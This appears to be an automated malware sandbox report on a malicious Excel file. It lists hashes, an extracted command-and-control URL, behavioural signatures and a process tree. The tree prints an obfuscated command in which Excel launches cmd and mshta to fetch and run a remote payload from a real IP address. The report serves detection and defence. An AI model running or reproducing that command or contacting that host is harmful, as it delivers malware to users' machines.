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Analysis
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max time kernel
61s -
max time network
37s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
11/11/2024, 21:40
Behavioral task
behavioral1
Sample
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
Resource
win10v2004-20241007-en
General
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Target
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
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Size
128KB
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MD5
75554c400886f488f124cd0dfe2a4276
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SHA1
38d62c63f786e492f5b4b948f19f65a4a94a8c0a
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SHA256
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef
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SHA512
ffff9502a2cc4ad704e497b78323312f20008ed714b3b6c0429a0f269f697641c13dc1cc652abe5f5fb8e4b5925578ea7e2b445996b7399f56d4e7970e40fae7
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SSDEEP
3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv
Malware Config
Extracted
http://185.7.214.7/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2916 2116 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2128 mshta.exe 7 2128 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2116 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2116 EXCEL.EXE 2116 EXCEL.EXE 2116 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2116 wrote to memory of 2916 2116 EXCEL.EXE 30 PID 2116 wrote to memory of 2916 2116 EXCEL.EXE 30 PID 2116 wrote to memory of 2916 2116 EXCEL.EXE 30 PID 2116 wrote to memory of 2916 2116 EXCEL.EXE 30 PID 2916 wrote to memory of 2128 2916 cmd.exe 32 PID 2916 wrote to memory of 2128 2916 cmd.exe 32 PID 2916 wrote to memory of 2128 2916 cmd.exe 32 PID 2916 wrote to memory of 2128 2916 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2128
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